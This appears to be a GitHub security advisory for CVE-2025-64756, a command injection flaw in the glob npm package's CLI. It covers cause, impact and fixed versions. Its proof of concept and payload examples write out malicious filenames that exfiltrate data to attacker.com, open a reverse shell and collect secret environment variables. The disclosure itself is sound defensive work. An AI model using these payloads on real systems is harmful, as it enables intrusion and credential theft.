GitHub Advisoryadvisory · npm
GHSA-5j98-mcp5-4vw2 glob CLI: Command injection via -c/--cmd executes matches with shell:true
HIGH
Official page ↗
- Aliases
- CVE-2025-64756
- Ecosystem
- npm
- Packages
- glob
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2025-11-17
Affected packages
• npm glob: >= 11.0.0, < 11.1.0 → fixed in 11.1.0
• npm glob: >= 10.2.0, < 10.5.0 → fixed in 10.5.0
Description
Summary
The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c ` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`:
```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```
Technical Flow:
1. User runs `glob -c `
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell: true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
Affected Component:
• CLI Only: The vulnerability affects only the command-line interface
• Library Safe: The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected
• Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
• Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc.
• Any directory where attackers can control filenames (PR branches, archives, user uploads)
• CI/CD pipelines using `glob -c` on untrusted content
PoC
Setup Malicious File:
```bash
mkdir test_directory && cd test_directory
Create file with command injection payload in filename
touch '$(touch injected_poc)'
```
Trigger Vulnerability:
```bash
Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```
Result:
• The echo command executes normally
• Additionally: The `$(touch injected_poc)` in the filename is evaluated by the shell
• A new file `injected_poc` is created, proving command execution
• Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration:
```bash
Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```
Reverse Shell:
```bash
Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```
Environment Variable Harvesting:
```bash
Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```
Impact
Arbitrary Command Execution:
• Commands execute with full privileges of the user running glob CLI
• No privilege escalation required - runs as current user
• Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
• Malicious PR adds files with crafted names to repository
• CI pipeline uses `glob -c` to process files (linting, testing, deployment)
• Commands execute in CI environment with build secrets and deployment credentials
• Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
• Developer clones repository or extracts archive containing malicious filenames
• Local build scripts use `glob -c` for file processing
• Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems:
• Services using glob CLI to process uploaded files or external content
• File uploads with malicious names trigger command execution
• Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning:
• Malicious packages or themes include files with crafted names
• Build processes using glob CLI automatically process these files
• Wide distribution of compromise through package ecosystems
Platform-Specific Risks:
• POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
• Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
• Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
• Ecosystem: npm
• Package name: glob
• Component: CLI only (`src/bin.mts`)
• Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
• Introduced: v10.2.0 (first release with CLI containing `-c/--cmd` option)
• Patched versions: 11.1.0and 10.5.0
Scope Limitation:
• Library API Not Affected: Core glob functions (`glob()`, `globSync()`, async iterators) are safe
• CLI-Specific: Only the command-line interface with `-c/--cmd` option is vulnerable
Remediation
• Upgrade to `[email protected]`, `[email protected]`, or higher, as soon as possible.
• If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead.
• As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Related
Alias · CVE (1)
- CVE-2025-64756 Glob matches files using patterns the shell uses. vulnerability
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness
References
- https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-64756 advisory
- https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f web
- https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146 web
- https://github.com/isaacs/node-glob package